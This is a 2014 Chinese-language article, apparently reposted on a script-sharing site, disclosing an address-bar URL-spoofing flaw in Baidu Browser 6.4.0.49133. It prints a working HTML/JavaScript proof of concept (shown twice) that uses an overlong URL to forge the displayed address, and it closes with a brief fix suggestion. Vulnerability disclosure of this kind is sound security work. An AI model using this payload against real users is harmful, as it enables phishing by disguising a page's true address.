瀏覽器漏洞 百度瀏覽器6.4.0.49133 偽造任意網(wǎng)址
發(fā)布時(shí)間：2014-09-25 16:01:22 作者：佚名 
我要評(píng)論
我要評(píng)論百度瀏覽器近期發(fā)現(xiàn)漏洞，百度瀏覽器6.4.0.49133 一旦域名、網(wǎng)址URL長(zhǎng)度大于4KB時(shí)處理出錯(cuò)，例如將證明文件保存為c:\a.htm并打開(kāi)，點(diǎn)擊連接后可以偽造任意網(wǎng)，需要的朋友可以參考下
百度瀏覽器近期發(fā)現(xiàn)漏洞，百度瀏覽器6.4.0.49133以及以前版本偽造任意網(wǎng)址漏洞，偽造任意協(xié)議（http/https/ftp...）、域名、網(wǎng)址URL長(zhǎng)度大于4KB時(shí)處理出錯(cuò)，例如將證明文件保存為c:\a.htm并打開(kāi)，點(diǎn)擊連接后可以偽造任意網(wǎng)址。
同時(shí)URL過(guò)長(zhǎng)的時(shí)候，會(huì)顯示“已收藏”圖標(biāo)，估計(jì)是處理過(guò)長(zhǎng)url時(shí)邏輯有點(diǎn)小問(wèn)題漏洞證明：
復(fù)制代碼
代碼如下: <html>
<div id='c' style=''> //displaynone
ss
</div>
<a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript：1;','newwin');">just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>
<div id='c' style=''> //displaynone
ss
</div>
<a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript：1;','newwin');">just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>
修復(fù)方案：
無(wú)效URL及時(shí)過(guò)濾，以防止偽造網(wǎng)址，謝謝閱讀，希望能幫到大家，請(qǐng)繼續(xù)關(guān)注腳本之家，我們會(huì)努力分享更多優(yōu)秀的文章。
相關(guān)文章
- 百度瀏覽器常用快捷鍵都整理出來(lái).供大家參考2012-10-26
百度瀏覽器怎么翻譯網(wǎng)頁(yè)？百度瀏覽器翻譯插件使用圖文教程
百度瀏覽器升級(jí)之后不但能截圖什么的，還能翻譯網(wǎng)頁(yè)。那么百度瀏覽器怎么翻譯網(wǎng)頁(yè)？以及百度瀏覽器怎么使用翻譯插件呢？針對(duì)此問(wèn)題，本文就為大家圖文介紹百度瀏覽器翻譯網(wǎng)2014-09-23- 百度瀏覽器怎么用？今天小編給大家簡(jiǎn)要的介紹下百度瀏覽器的使用方法，主要給大家分享下百度瀏覽器怎么安裝、百度瀏覽器怎么設(shè)置為默認(rèn)瀏覽器、以及百度瀏覽器清理緩存，希2014-09-23
- 百度瀏覽器可以屏蔽各大網(wǎng)站出現(xiàn)的廣告大家知道嗎？那百度瀏覽器怎么屏蔽廣告？針對(duì)此問(wèn)題，本文就為大家分享的兩個(gè)有效的方法2014-09-23
經(jīng)常瀏覽國(guó)外網(wǎng)站百度瀏覽器怎么翻譯網(wǎng)頁(yè)
百度瀏覽器怎么翻譯，喜歡經(jīng)常瀏覽一些國(guó)外網(wǎng)站的朋友，會(huì)非常方便與實(shí)用，下面是具體的操作過(guò)程，希望大家喜歡2014-09-25- 目前網(wǎng)上有很多朋友們反映百度瀏覽器找不到卸載的功能，并且還有卸載不了的情況，那么，百度瀏覽器怎么卸載呢？針對(duì)此問(wèn)題，本文就為大家詳細(xì)圖文介紹百度瀏覽器卸載教程2014-09-25
- 每天首次打開(kāi)百度瀏覽器的時(shí)候，都會(huì)卡頓半天，因此打算先卸載百度瀏覽器，之后再重新安裝一遍試試，下面與大家分享下百度瀏覽器卸載方法，有遇到類(lèi)似情況的朋友可以參考下2014-09-29
百度瀏覽器收藏夾在哪 百度瀏覽器中怎么收藏網(wǎng)頁(yè)
百度瀏覽器是最近比較火，非常不錯(cuò)的國(guó)外加速頻道，良好的兼容性，站長(zhǎng)必備工具啊，打開(kāi)google也不用什么工具2014-10-07百度瀏覽器怎么截圖？百度瀏覽器網(wǎng)頁(yè)截圖方法圖文介紹
新版的百度瀏覽器也支持了截圖功能，那么，我們?nèi)绾问褂冒俣葹g覽器進(jìn)行網(wǎng)頁(yè)截圖？以及百度瀏覽器的截圖工具在哪里呢？針對(duì)此問(wèn)題，本文就為大家介紹百度瀏覽器怎么截圖2014-10-10360、百度瀏覽器網(wǎng)頁(yè)上的字體大小縮放方法
網(wǎng)頁(yè)的字體大小，也是可以在瀏覽器上進(jìn)行設(shè)置的，如果網(wǎng)頁(yè)上的字太小，通過(guò)放大，就看得比較舒服，看看下面的截圖就一目了然了2014-10-14